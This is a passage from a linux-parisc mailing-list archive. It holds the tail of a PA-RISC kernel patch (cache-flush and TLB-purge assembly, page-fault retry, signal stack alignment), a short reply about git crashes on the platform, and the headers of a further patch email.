+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +432,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +473,16 @@ ENTRY(copy_user_page_asm)
 
 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +538,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +561,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +572,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +580,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +609,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
-	ldi		64, %r1
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +689,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +722,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +733,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +758,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +794,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +819,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +843,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +882,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +920,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
-	pitlb		(%sr4,%r28)
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r28)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r28)
+	tlb_unlock      %r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -727,8 +961,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%sr4,%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r25)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r25)
+	tlb_unlock      %r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pitlb		(%sr4,%r25)
+	nop
 	.exit
 
 	.procend
@@ -777,7 +1020,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -817,7 +1060,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index ceec85d..6795dc6 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -157,5 +157,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 857c2f5..534abd4 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -26,7 +26,7 @@
 #include <asm/asm-offsets.h>
 
 /* PSW bits we allow the debugger to modify */
-#define USER_PSW_BITS	(PSW_N | PSW_V | PSW_CB)
+#define USER_PSW_BITS	(PSW_N | PSW_B | PSW_V | PSW_CB)
 
 /*
  * Called by kernel/ptrace.c when detaching..
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 5379969..52c85b2 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -190,8 +190,10 @@ get_sigframe(struct k_sigaction *ka, unsigned long sp, size_t frame_size)
 	DBG(1,"get_sigframe: ka = %#lx, sp = %#lx, frame_size = %#lx\n",
 			(unsigned long)ka, sp, frame_size);
 	
+	/* Align alternate stack and reserve 64 bytes for the signal
+	   handler's frame marker.  */
 	if ((ka->sa.sa_flags & SA_ONSTACK) != 0 && ! sas_ss_flags(sp))
-		sp = current->sas_ss_sp; /* Stacks grow up! */
+		sp = (current->sas_ss_sp + 0x7f) & ~0x3f; /* Stacks grow up! */
 
 	DBG(1,"get_sigframe: Returning sp = %#lx\n", (unsigned long)sp);
 	return (void __user *) sp; /* Stacks grow up.  Fun. */
@@ -310,7 +312,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index f76c108..a047b32 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -94,11 +94,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 86742df..c893ec4 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -309,10 +309,13 @@ tracesys_next:
 	LDREG   TASK_PT_GR25(%r1), %r25
 	LDREG   TASK_PT_GR24(%r1), %r24
 	LDREG   TASK_PT_GR23(%r1), %r23
-#ifdef CONFIG_64BIT
 	LDREG   TASK_PT_GR22(%r1), %r22
 	LDREG   TASK_PT_GR21(%r1), %r21
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
+#else
+	stw	%r22, -52(%r30)			/* 5th argument */
+	stw	%r21, -56(%r30)			/* 6th argument */
 #endif
 
 	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 70e105d..4a24ba7 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -77,7 +77,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
diff --git a/arch/parisc/math-emu/cnv_float.h b/arch/parisc/math-emu/cnv_float.h
index 9071e09..37299c7 100644
--- a/arch/parisc/math-emu/cnv_float.h
+++ b/arch/parisc/math-emu/cnv_float.h
@@ -347,16 +347,15 @@
     Sgl_isinexact_to_fix(sgl_value,exponent)
 
 #define Duint_from_sgl_mantissa(sgl_value,exponent,dresultA,dresultB)	\
-  {Sall(sgl_value) <<= SGL_EXP_LENGTH;  /*  left-justify  */		\
+  {unsigned int val = Sall(sgl_value) << SGL_EXP_LENGTH;		\
     if (exponent <= 31) {						\
     	Dintp1(dresultA) = 0;						\
-    	Dintp2(dresultB) = (unsigned)Sall(sgl_value) >> (31 - exponent); \
+    	Dintp2(dresultB) = val >> (31 - exponent);			\
     }									\
     else {								\
-    	Dintp1(dresultA) = Sall(sgl_value) >> (63 - exponent);		\
-    	Dintp2(dresultB) = Sall(sgl_value) << (exponent - 31);		\
+    	Dintp1(dresultA) = val >> (63 - exponent);			\
+    	Dintp2(dresultB) = exponent <= 62 ? val << (exponent - 31) : 0;	\
     }									\
-    Sall(sgl_value) >>= SGL_EXP_LENGTH;  /* return to original */	\
   }
 
 #define Duint_setzero(dresultA,dresultB) 	\
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 18162ce..524bf5a 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -175,10 +175,12 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct mm_struct *mm = tsk->mm;
 	unsigned long acc_type;
 	int fault;
+	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (in_atomic() || !mm)
 		goto no_context;
 
+retry:
 	down_read(&mm->mmap_sem);
 	vma = find_vma_prev(mm, address, &prev_vma);
 	if (!vma || address < vma->vm_start)
@@ -201,7 +203,12 @@ good_area:
 	 * fault.
 	 */
 
-	fault = handle_mm_fault(mm, vma, address, (acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0);
+	fault = handle_mm_fault(mm, vma, address,
+		flags | ((acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0));
+
+	if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
+		return;
+
 	if (unlikely(fault & VM_FAULT_ERROR)) {
 		/*
 		 * We hit a shared mapping outside of the file, or some
@@ -214,10 +221,22 @@ good_area:
 			goto bad_area;
 		BUG();
 	}
-	if (fault & VM_FAULT_MAJOR)
-		current->maj_flt++;
-	else
-		current->min_flt++;
+	if (flags & FAULT_FLAG_ALLOW_RETRY) {
+		if (fault & VM_FAULT_MAJOR)
+			current->maj_flt++;
+		else
+			current->min_flt++;
+		if (fault & VM_FAULT_RETRY) {
+			flags &= ~FAULT_FLAG_ALLOW_RETRY;
+
+			/* No need to up_read(&mm->mmap_sem) as we would
+			 * have already released it in __lock_page_or_retry
+			 * in mm/filemap.c.
+			 */
+
+			goto retry;
+		}
+	}
 	up_read(&mm->mmap_sem);
 	return;
 
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index 57d86d0..f1b49d3 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -581,6 +581,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -588,7 +589,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);
diff --git a/kernel/softirq.c b/kernel/softirq.c
index cc96bdc..6d68000 100644
--- a/kernel/softirq.c
+++ b/kernel/softirq.c
@@ -259,7 +259,7 @@ restart:
 		}
 		h++;
 		pending >>= 1;
-	} while (pending);
+	} while (pending && h >= (struct softirq_action *)0x1000);
 
 	local_irq_disable();
 

--Apple-Mail-5-717269555--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random crashes when calling git
Date: Mon, 31 Dec 2012 20:34:39 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <2694777.CZhKI00lTi@donald.sf-tec.de>
References: <4882058.deuBGYmI4J@donald.sf-tec.de> <3563905.2dklDXemHT@donald.sf-tec.de> <BLU0-SMTP22C3BF8F11ED2FBDDA8BE6973C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1816499.8kZ2lWlpiZ"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1356982492 7996 80.91.229.3 (31 Dec 2012 19:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Dec 2012 19:34:52 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 31 20:35:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Tpl8e-0002aN-As
	for glpp-linux-parisc@plane.gmane.org; Mon, 31 Dec 2012 20:35:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751649Ab2LaTew (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Dec 2012 14:34:52 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:49183 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751643Ab2LaTew (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Dec 2012 14:34:52 -0500
Original-Received: (qmail 739 invoked from network); 31 Dec 2012 19:34:49 -0000
Original-Received: from p4fc9f49f.dip.t-dialin.net ([::ffff:79.201.244.159]:52880 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 31 Dec 2012 20:34:49 +0100
User-Agent: KMail/4.9.3 (Linux/3.6.10-15-desktop; KDE/4.9.4; i686; ; )
In-Reply-To: <BLU0-SMTP22C3BF8F11ED2FBDDA8BE6973C0@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4701
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4701>


--nextPart1816499.8kZ2lWlpiZ
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

You wrote:
> On 31-Dec-12, at 6:03 AM, Rolf Eike Beer wrote:
> > I've put together the used git executable as well as 4 core dumps at
> > http://opensource.sf-tec.de/git-crash.tar.bz2
> > 
> > It would be nice if you could take a look and tell me if this gives
> > you
> > anything.
> 
> I looked at the first one:

> I think this is the infamous thread stack corruption bug.  There are
> numerous discussions about it on the list.
> 
> It's just a guess but I believe my kernel patch may help.  Attaching
> latest
> version for 3.7.1.

Thx, I'll have a look when I'm back in the office next week.

Until next year,

Eike
--nextPart1816499.8kZ2lWlpiZ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlDh6NgACgkQXKSJPmm5/E4brgCbBcU5ju/QcN++SjdV1B3GT+gI
7lMAoISbyqWsjYddfKB96vp2Hcu10N/l
=umMU
-----END PGP SIGNATURE-----

--nextPart1816499.8kZ2lWlpiZ--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [RESEND PATCH] Convert PARISC sysctl to be generic
Date: Thu, 3 Jan 2013 12:29:47 +0530
Lines: 35
Approved: news@gmane.org
Message-ID: <1357196388-1247-1-git-send-email-vgupta@synopsys.com>
References: <50D2B75A.3000208@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1357196433 29778 80.91.229.3 (3 Jan 2013 07:00:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Jan 2013 07:00:33 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	<linux-arch@vger.kernel.org>, <arnd@arndb.de>,
	Vineet Gupta <Vineet.Gupta1@synopsys.com>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jan 03 08:00:48 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1TqenI-00075m-7d
	for glka-linux-arch@plane.gmane.org; Thu, 03 Jan 2013 08:00:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751422Ab3ACHAY (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 3 Jan 2013 02:00:24 -0500
Original-Received: from alvesta.synopsys.com ([198.182.60.77]:44881 "EHLO
	alvesta.synopsys.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751365Ab3ACHAX (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 3 Jan 2013 02:00:23 -0500
Original-Received: from mailhost.synopsys.com (mailhost1.synopsys.com [10.12.238.239])
	by alvesta.synopsys.com (Postfix) with ESMTP id 4F0B22D759B;
	Wed,  2 Jan 2013 23:00:08 -0800 (PST)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
	by mailhost.synopsys.com (Postfix) with ESMTP id 382FD554;
	Wed,  2 Jan 2013 23:00:08 -0800 (PST)
Original-Received: from US01WXQAHTC1.internal.synopsys.com (us01wxqahtc1.internal.synopsys.com [10.12.238.230])
	by mailhost.synopsys.com (Postfix) with ESMTP id 1842B548;
	Wed,  2 Jan 2013 23:00:08 -0800 (PST)
Original-Received: from IN01WEHTC2.internal.synopsys.com (10.144.199.212) by
 US01WXQAHTC1.internal.synopsys.com (10.12.238.230) with Microsoft SMTP Server
 (TLS) id 14.2.298.4; Wed, 2 Jan 2013 23:00:08 -0800
Original-Received: from localhost.localdomain (10.12.197.205) by
 in01wehtc2.internal.synopsys.com (10.144.199.243) with Microsoft SMTP Server
 (TLS) id 14.2.298.4; Thu, 3 Jan 2013 12:30:04 +0530
X-Mailer: git-send-email 1.7.4.1
